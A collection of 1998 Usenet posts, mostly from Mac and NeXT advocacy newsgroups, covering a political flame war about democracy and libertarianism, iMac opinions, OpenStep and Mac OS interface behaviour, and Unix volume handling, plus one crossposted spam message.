References: <35D9D123.C98BF639@ericsson.com> <6rdmof$drt@news1.panix.com> <35DAE429.F37495C2@ericsson.com> <6rg8u4$4qh@news1.panix.com> <35DC4464.D57E0278@ericsson.com> <6rnp5q$hlc@news1.panix.com> <35E18098.3AA3A39A@ericsson.com>
On Mon, 24 Aug 1998 10:02:48 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>"...Rule of law as decided by the masses..." is a purely nonsensical
>term.
It is the basis of democracy.
(from http://www.dict.org/)
democracy
n 1: the political orientation of those who favor government by
the people of by their elected representatives
2: a political system governed by the people or their
representatives [syn: republic, commonwealth] [ant: autocracy]
Laws are codified and enforced by people we choose.
>> over the rule of the "free market" and those who
>> can manipulate it.
>I manipulate the free market every time I choose to buy something. It's
>my free market and it's my interaction. I make the choice.
>
>Congress manipulates the free market in ways far more profound every
>time it signs new agriculture subidies into law. I had nothing to do
--------------------------------------------------^^^^^^^^^^^^^^^^^^^
>with that choice, nor can I do anything to stop it: Congress's dictates
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>are executed with authority; my actions have no authority.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Bullshit. Go down to the postoffice and get a voter registration card.
Write a letter to your congressman. Get people to sign a petition and
present it to state senate. I've done those things and I can assure
you that they do work. Everyone has the right to lobby congress.
Your actions *should not* have authority.
No one who isn't a freely elected representative of the people, or
empowered by freely elected representatives of the state should have
authority over others. And that authority is limited by the constitution
The belief that anyone should have authority over anyone else, without
restriction, based on ownership or other mandate, isn't "classic liberalism"
it is "despotism" (or "fascism" or "anarchy", depending on the other factors
involved.)
(from http://www.dict.org/)
despotism
n 1: dominance through threat of punishment and violence [syn:
absolutism, tyranny]
2: a form of government in which the ruler is an absolute
dictator (not restricted by a constitution or laws or
opposition etc.) [syn: dictatorship, absolutism, authoritarianism,
Caesarism, monocracy, one-man rule, shogunate, Stalinism,
totalitarianism, tyranny]
If you subscribe to Libertarian belief that an employer has the right to
demand anything of his employees, free from government intervention, then
you are pro-despotism, and NOT pro-liberty.
>> Libertarians would remove many of these checks and balances and allow the
>> possibility that someone will be able to accumulate the wealth and power
>> needed to take away the liberties of others.
>[laugh] So the solution is to set up a government with the wealth and
>power needed to take away the liberties of others? Charming idea.
Goverment power derives from the masses. They are _voted_ into power
and we can vote them out.
Do you get it now? You vote for someone (or run for office yourself) and
they represent your interests.
>> I find this the antithesis of the
>> beliefs that the founding fathers had in mind when the constitution was
>> drafted.
>You say this, but you don't mention any beliefs in particular. Odd,
>considering I have quite the opposite view. One would think that a
>statement like this needs some explanation.
Read the constitution. It describes a system designed to prevent any one
person from become too powerful and using that power against others.
"We the People of the United States, in Order to form a more perfect Union,
^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^
establish Justice, insure domestic Tranquility, provide for the common
defence, promote the general Welfare, and secure the Blessings of Liberty
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
to ourselves and our Posterity, do ordain and establish this Constitution
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
for the United States of America."
I think it is pretty clear that Government has the power to do those
things that are in the best interests of the people, provided that they
do not violate the constitution or its amendments.
What is ment by "promote the general Welfare" is open to debate, but
ultimately, it is the supreme court, and not congress; that has the last
word.
"Section 8 - Powers of Congress
The Congress shall have Power To lay and collect Taxes, Duties, Imposts and
excises, to pay the Debts and provide for the common Defence and general
Welfare of ths United States; but all Duties, Imposts and Excises shall be
uniform throughout the United States;"
This blows a hole in most of the arguments that the constitution
doesn't give congress the right to create and maintain "socialism" and
"socialist institutions". It is right there, as penned by Mr. Jefferson
himself. (By the way, feel free to bring up Amendment X if you want...)
>Huh? The concept of "Rule of Law" is the cornerstone of Libertaria
>(classical liberal) politics! Did the past 500 years of European
>politics *completely* pass you by?
The Libertarian party believes that government regulation isn't needed,
and that reputation will keep people honest. Government by _reputation_
is not "rule of law"
>hastily-built assumptions, it would seem. Don't embarass yourself any
>more; you really need to go pick up some literature.
You made that claim that you have no control over congress, any you
think *I* should pick up some literature? You should go read any 6th
grade social studies book. Or a high school civics book.
>It doesn't matter which side of this you're on, does it? You manage to
>play the wounded soldier no matter what. Poor, hurt Sal Denaro. Maybe it
>would be appropriate to start hurling curses and names, no?
Don't pull that crap. You have no right to claim tha moral high ground. I
can not think of anyone on csna that has posted more vile personal insults
than you.
>> black and white to you... Enjoy your kool-aide.
>Oh, the irony...
Your ignorance is exceeded only by your arrogance.
Newsgroups: comp.sys.next.advocacy
From: lparkyn@prosoft.com (Lyle Parkyn)
Subject: Re: iMac, another personal review
Message-ID: <Ey8D5z.F61@prosoft.com>
Sender: lparkyn@prosoft.com (Lyle Parkyn)
Organization: ProSoft Solutions Inc. (RDS Site)
References: <6rq1n8$kn2$2@pith.uoregon.edu>
Date: Tue, 25 Aug 1998 05:41:59 GMT
In article <6rq1n8$kn2$2@pith.uoregon.edu> Wesley Horner
<wesman@azrael.uoregon.edu> writes:
> degackz@my-dejanews.com wrote:
>
> > We have one left handed user in the house, I showed him where to plug
in the
> > mouse if he wanted it on the other side. "Yes, its USB! Its hot
pluggable!
> > sure go ahead and move the mouse to the other side...". We had to yank
the
> > power cord. Apple apparently has not implemented USB properly.
>
> Must have been a fluke. I have unplugged my imac mouse and keyboard a
nuber
> of times withought it crashing. I agree the cdrom is a bit wierd but
thats
> because it is a laptop unit. They had to use one so they could fit it
between
> the monitor and the hard drive. I took it aapart to get a look at it
and I
> would call it a marvel of packaging. There is very little wasted space.
>
What's a marvel is the amount of hype that's apparently been generated
about this box and how people will be sucked in and then let down.
There's really nothing that special about this box. It looks like an old
Data General minicomputer terminal - blue and beige. Sure it has some
current hardware goodies but so do most new boxes. Sure it's cheap but
then so are lots of other boxes. And once you've unpacked it, plugged it
in and turned it on the real disappointment is it's the same old Mac OS
with the same old Mac UI. What's the big deal!?
Mac OS X won't be here soon enough and even then it won't look that
different. It'll have the same old Mac desktop paradigm designed years ago
for slow machines with tiny screens and a couple of alternating apps. It
used to be that the machine was awaiting for the user. Today this old
desktop paradigm will now force the multitasking user to wait for the
desktop. NextStep had a truly productive user environment designed for
multitasking users and it looks like Apple is throwing away a lot of that
productivity. (E.g. Vertical menus, floating main menus, single command
app hiding, Websters, Display PostScript, the Dock, etc.)
Well, that ends my little rant about things Apple.
--
Lyle Parkyn
ProSoft Solutions Inc. (http://www.prosoft.com)
lparkyn@prosoft.com (NeXTmail, text or MIME formats welcome)
Bus:(604)324-3311 Fax:(604)538-7694
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 06:52:11 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rtmur$fbj$1@lwnws01.ne.highway1.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com> <6rnjl3$pmt$2@lwnws01.ne.highway1.com> <6rq3f1$jp0@news1.panix.com> <6rqqk1$oae$1@lwnws01.ne.highway1.com> <6rtjek$e7t@news1.panix.com>
sal@panix.com (Sal Denaro) wrote:
> I find the cut&paste solution to be good in the short term, but a nightmare
> if the source you are borrowing from gets changed.
I'm not advocating a general solution here. There is no argument from me
that in the general case doing libs is good. My point is simply that the
flexibility to do cut&paste, at least in *some* instances, can prove
invaluable and superior as a solution. The inability to take advantage of
this more rare instance where cut&paste is a superior solution makes the
earilier propose solution not as flexible. In the general case it may make
no practical difference.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 07:36:00 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6rtph0$jrp$1@news.cs.tu-berlin.de>
References: <Ey7AxH.JG7@T-FCN.Net> <B2074F76-27D59@206.165.43.18>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
"Lawson English" <english@primenet.com> writes:
>but right now, isn't it true that
>NeXTstep/OpenStep apps show this behavior (freezing of front process when
>menu is selected) as well as Rhapsody apps?
No.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: bucnews@rochester.rr.com (Chas Profitt)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>
Message-ID: <POpE1.139$Iz1.800928@newse1.twcny.rr.com>
Date: Tue, 25 Aug 1998 03:02:07 GMT
NNTP-Posting-Date: Mon, 24 Aug 1998 23:02:07 EDT
Organization: TWC Road Runner
>George Graves
Wow,... you weren't joking about writing for audiphile mags...
I, who wouldn't recongnize most names, recognize yours!
Chas
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green LEDs
Date: 24 Aug 98 21:07:48
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug24210748@slave.doubleu.com>
References: <35d525ad.0@news.depaul.edu>
<gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>
<6riq8l$2gf$1@nnrp1.dejanews.com>
<6rmitv$q7t$1@jetsam.uits.indiana.edu>
<massello-2308980038450001@p15.amax1.dialup.elp1.flash.net>
In-reply-to: massello@flash.net's message of Sun, 23 Aug 1998 00:38:45 -0600
In article <massello-2308980038450001@p15.amax1.dialup.elp1.flash.net>,
massello@flash.net (Neill Massello) writes:
In article <6rmitv$q7t$1@jetsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> Hey, I just discovered that programs on CD run much faster if you
> color the rim with a green marker!
I have discovered that my TV has a brighter picture if I plug up
all those slots on the top, back, and sides that allow light to
escape. At first, I used duct tape for this, but now I use Bondo
when I get a new TV (every few months).
You get better contrast if you paint the rabbit ears with egg yolk.
It works on roof-mounted antennas, too. Pity those poor fools with
cable...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 08:42:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rtte4$bga$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>
In article <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Dope. There isn't ENOUGH productivity software for OpenStep or Linux for
> one to BE productive (or to run such a study).
This statement is clearly false, George. People are still using OpenStep for
buisness purposes because they find it to be more productive than any other
environment. But even if this statement were true, you would still have to
PROVE it for your original claim to be true. Why not retract the original
claim and then restate it?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 08:53:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rtu36$c2j$1@nnrp1.dejanews.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com> <6rnjl3$pmt$2@lwnws01.ne.highway1.com> <6rq3f1$jp0@news1.panix.com> <6rqqk1$oae$1@lwnws01.ne.highway1.com>
In article <6rqqk1$oae$1@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> Yes you can do that, but there are times when you need to modify the code,
> and it just becomes less flexible doing the library thing. It doesn't offer
> as much flexibility to cut and snip throughout the project. But oftimes it
> is a pretty cool solution.
Most of the time it will be as good as the original code. And readability
usually remains about the same. I haven't seen any translators that will
convert code such as:
(*myvar)->x.y = ...
(*myvar)->y.a = ...
...
into:
with myvar^^ do
begin
y = ...
a = ...
...
end;
However, the translated Pascal is still more readable than the original C
code:
myvar^^x.y = ...
myvar^^y.a = ...
...
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Mika Yrjola <myrjola@renttu.lnet.lut.fi>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Date: 24 Aug 1998 15:57:36 +0300
Organization: Lappeenranta University of Technology, Finland
Message-ID: <m3btpazge7.fsf@renttu.lnet.lut.fi>
References: <000035D8F15C.NO_UCE@mauve.demon.co.uk> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net> <Pine.LNX.3.96.980822190305.1042G-100000@paule> <35dfa35f.0@news.depaul.edu> <35E07EF4.94CAEF85@flash.net>
Norb <norbnospam@flash.net> writes:
> Enough already with the PC has more games than Mac. Buy a fucking
> Playstation or Nintendo 64 and play them on your 32" tv. Who would want
> to play on a 17" monitor anyway? Nintendo 64 has way better pliability
> than any PC.
But if you like strategy, simulation or role-playing games, the
consoles really aren't that hot choices for gaming. (although there
are a few rpgs for consoles too.)
Mika
--
/-------------------------------------------------------------------------\
I Fantasy, Sci-fi, Computers, Marillion, Oldfield, Vangelis, Clannad, Irc I
I Odd Experiences, Worms, Tuna, Synths. See http://www.lut.fi/~myrjola/ I
\-------------------------------------------------------------------------/
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 09:01:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rtuhe$cn2$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu> <35E02675.2083D9CC@spamtoNull.com> <atlauren-2408981331520001@jungleland.acs.uci.edu>
In article <atlauren-2408981331520001@jungleland.acs.uci.edu>,
atlauren@uci.edu (Andrew Laurence) wrote:
> Historically, Apple makes excellect choices in their components. Their
> track record in this regard is one of the reasons I buy their products;
> they do quite a good job (even in their most sucking years) which means
> that I don't have to spend the time researching, etc.. Thus I save money.
What about video and sound hardware? Apple has a knack for choosing crappy
video cards: the iMac uses a Rage II and the G3s use RagePros. And Apple's
sound hardware doesn't have an built-in MIDI and can't do any hardware signal
processing.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 09:09:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rtuvc$ct9$1@nnrp1.dejanews.com>
References: <Ey7AxH.JG7@T-FCN.Net> <B2074F76-27D59@206.165.43.18>
In article <B2074F76-27D59@206.165.43.18>,
"Lawson English" <english@primenet.com> wrote:
> Is this actually different from how OpenSTep operates? I was under the
> impression that this was because of the single DPS context per app model
> that was being used. If so, then the change to the "PDF" graphics model
> should change this since one could assign a specific viewport to a window
> and another to the menus and so on.
No, you can access menus in OpenSTep while an application is doing an
operation (including drawing) because menus are handled, I believe, by the
window manager and not by the application itself. In the Mac OS, the
foreground application manages the menu bar.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 09:06:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rtuqk$csg$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net>
In article <Ey7AxH.JG7@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> I tested this because I thought it would be odd. It is odd. CD player's
> clock continues to update for instance, but OmniWeb stops filling the window.
> I think there may be more to this.
The clock updating is probably done as a different thread. Probably only the
event handling thread is suspended.
--
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 09:07:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rtut5$css$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net> <35e195df.0@news.depaul.edu> <Ey7J0r.Ev@T-FCN.Net>
In article <Ey7J0r.Ev@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <35e195df.0@news.depaul.edu> Jonathan W Hendry wrote:
> > > I tested this because I thought it would be odd. It is odd. CD
> player's
> > > clock continues to update for instance, but OmniWeb stops filling the
> > > window.
> >
> > Which app is active?
>
> Same one both cases. IE, OmniWeb when opening OmniWeb menu, CDPlayer when
> opening CDPlayer. In both cases key input stopped.
>
> > In OpenStep 4.2, OmniWeb stops loading in all of its windows when you're
> > moving the scroller in one of its windows. The content will
> > be downloaded, but the windows won't be flushed until you stop
> > scrolling. Could be related.
>
> Hmmm, I'll try this too.
Guys, doesn't this behavior totally make sense? Scroller management is
handled by the application so, unless the application is multi-threaded, you
can't scroll while the application is busy. The menu bar, OTOH, can be
handled by the window server so you should be able to use it while the
application is busy. But this would probably be very hard to implement for
Carbon applications (because they expect to handle all the events related to
themselves) and Apple decided to make the behavior consistent. BTW, can you
still drag an applications window while it is busy? I think that doing that
with carbon applications would be easier but still difficult.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 09:05:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rtuo3$cqu$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com> <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net>
In article <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Because the learning curve IS one of the factors which affects
> productivity, its one of the reasons the Mac's productivity is so high,
> its easy to learn. Windows is somewhat harder, Linux is very difficult.
Why? The learning curve should only effect your productivity before you reach
it's top and getting there will take a fixed amount of time that is much less
than your total time using the system.
> I've never seen a file bowser for Linux which showed all mounted volumes in
> any meaningful and useful way.
> All I've ever seen make you 1) know the device/partition number of each
volume,
> and 2) navigate to it using a CLI path statement. Also, Every X-Windows file
> manager I've ever seen requires a CLI "mountflop" command to mount a floppy,
> and a "umountflop" command to unmount one, and finally an "eject" to spit it
out
> (on machines with auto-eject floppies like Macs, Suns etc.). Then of
> course, there
> is the requirement that YOU the user make your own icons and link them to the
> applications and files that they launch. All of these things impact
> productivity,
> make the machine more support intensive, and thus costlier to run in a
business
> environment. Playing with it for fun because you like to mess with OS's is
> something else again.
Mounted volumes is a concept that doesn't really exist in UNIX because it
doesn't scale very well when you have a lot of volumes. If I have 30 mounted
volumes on the Mac OS, they all clutter up my desktop and aren't organized in
any logical way. In UNIX, a volume is like a folder and I can put it anywhere
that I want it. For example, say I have the following volumes: Development,
IAQMon, Stats, Games and Marathon. In the Mac OS, the file heirarchy would be:
Desktop:
IAQMon
Stats
Games
Marathon
In UNIX, I would probably make it:
Desktop:
Development:
IAQMon:
Stats:
Games:
Marathon:
The later arrangement is far more logical. Now imagine if you worked with 30
volumes. If you were using the Mac OS, you'd probably mount the few that you
need and then make a trip to the chooser every time you need to mount a new
volume. You'd probably also get rid of volumes that you don't need to avoid
desktop clutter. In UNIX, the volume would be placed logically and wouldn't
add any clutter at all.
There are also GUI mounter/unmounting tools that you can use. And automatic
file association programs do exist. I don't use either of those because making
little scripts to do these tasks is far more convenient for me.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: "©¼±oPoon" <peterp@netteens.com>
Newsgroups: tw.bbs.forsale.house,tw.bbs.lang.english,tw.bbs.comp.software,tw.bbs.comp.www,tw.bbs.comp.mswindows.win95,tw.bbs.comp.modem,tw.bbs.comp.mac,tw.bbs.comp.language,tw.bbs.comp.hacker,tw.bbs.comp.hardware,tw.bbs.campus.nctu,tw.bbs.campus.job,pin.freetalk,hk.talk.love,hk.rec.sport.soccer,hk.rec.music,comp.sys.sinclair,comp.sys.palmtops.pilot,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.misc,comp.sys.mac.advocacy
Subject: ®L¤é¤¤ªºTomosaka Rie ¤Í¨Á²z´f
Date: Tue, 25 Aug 1998 18:47:53 +0800
Organization: Peterp http://brianhui.home.ml.org
Message-ID: <35E29659.A00A8A26@netteens.com>
Mime-Version: 1.0
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http://www.geocities.com/Tokyo/Harbor/5823 is a Tomosaka Rie
¤Í¨Á²z´fhomepage.
http://brianhui.home.ml.org is a
download, games, links, newsgroup, chatroom...... ³£¦³ homepage.
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<A HREF="http://www.geocities.com/Tokyo/Harbor/5823">http://www.geocities.com/Tokyo/Harbor/5823</A> is a
Tomosaka Rie ¤Í¨Á²z´fhomepage.
<A HREF="http://www.geocities.com/Tokyo/Harbor/4254/index.html">http://brianhui.home.ml.org</A> is a download, games, links, newsgroup,
chatroom...... ³£¦³ homepage.
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From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Interesting aspect..
Date: 25 Aug 1998 11:01:05 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>
There's an interesting aspect to the figures quoted in the press
which I'd like to share with you:
According to press reports Apple is building about 8000 iMacs a day,
and around 13% of buyers are replacing Wintel machines. Well, provided
Apple sells iMacs as fast as they can make them (which is probably
the case), this means that Microsoft is losing customers. At a rate
of over 1000 users every 24 hours for the US alone. Not bad for a
'toy computer', I'd say. :-)
Cheers.
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Eric Levenez <levenez@club-internet.fr>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Requirements for MacOS X Server on Intel....
Date: 25 Aug 1998 12:17:37 GMT
Organization: Tasha Inc.
Message-ID: <6rua11$jsq$2@front5.grolier.fr>
References: <%EpE1.262$ej4.6075197@news.rdc1.mi.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 25 Aug 1998 12:17:37 GMT
"David Fagan" <DaveF@CathedralRiver.com> wrote:
> Does anyone know what the hardware requirements of MacOS X Server is on
> Intel? Does it need a PCI graphics card? What kind of processor....how
> much RAM...etc...etc.... Thanks for any help.
Look at :
http://developer.apple.com/macosx/server/rhapdev/DR2_PC.html
--
--------------------------------------------------------------------
Éric Lévénez "Felix qui potuit rerum cognoscere causas"
mailto:levenez@club-internet.fr Publius Vergilius Maro,
(NeXTMail, MIME) Georgica, II-489
--------------------------------------------------------------------
Date: Tue, 25 Aug 1998 09:23:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-2508980923530001@wil47.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net> <35db7947.23779152@news.calweb.com> <joe.ragosta-1808981429210001@wil50.dol.net> <6rf0ak$u6s$3@newsfeeds.rpi.edu>
In article <6rf0ak$u6s$3@newsfeeds.rpi.edu>, nospaam@pascal.stu.rpi.edu
(Peter F. Curran) wrote:
> In article <joe.ragosta-1808981429210001@wil50.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) writes:
> >In article <35db7947.23779152@news.calweb.com>,
> >hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> [snip]
> >> In YOUR opinion. Other people have different opinions. Some of us
> >> even state that our opinions are just that, instead of passing them
> >> off as FACTS.
> >
> >Of course, my opinion is backed by years of research by numerous
> >independet labs.
> >
> >Do you have any evidence at all to disprove it?
> >
>
> Sorry... can't resist... MUST use standard reply...
>
> Evidently the OVERWHELMING evidence existing outside the
> lab must be an erroneous datum! M$-Winblows _did_ win the
> PeeCee war after all... :^)
Wrong. There's _NO_ evidence that proves that Windows has higher
productivity, ease of use, or lower cost of ownership--outside the lab or
anywhere.
The fact is that Windows has an overwhelming market share in spite of the
fact that Mac OS is superior, and has been so since the beginning.
Windows attained dominance during the Win 3.x era. Are you going to claim
that Win3.x was better than Mac OS in ease of use and productivity?
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
Date: Tue, 25 Aug 1998 09:26:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-2508980926240001@wil47.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6ra0dh$tjt$1@ec.arbat.com> <tim-1908980821320001@jump-tnt-0176.customer.jump.net> <6ren27$88d$1@jetsam.uits.indiana.edu>
In article <6ren27$88d$1@jetsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> In article <tim-1908980821320001@jump-tnt-0176.customer.jump.net>,
> Tim Olson <tim@jumpnet.com> wrote:
> >
> >I wrote:
> >
> >| > If you throw science and engineering away based upon what you *think* you
> >| > hear (without any scientific method to back it up) you shouldn't consider
> >| > yourself an engineer or scientist.
> >
> >In article <joe.ragosta-1908980807560001@wil70.dol.net>,
> >joe.ragosta@dol.net (Joe Ragosta) replied:
> >
> >| Not true.
> >|
> >| I'm a scientist. While throwing science and engineering away isn't
> >| appropriate, a long-standing tradition in science is observation. In fact,
> >| observation as a part of the scientific principle goes back at least as
> >| far as Aristotle.
> >
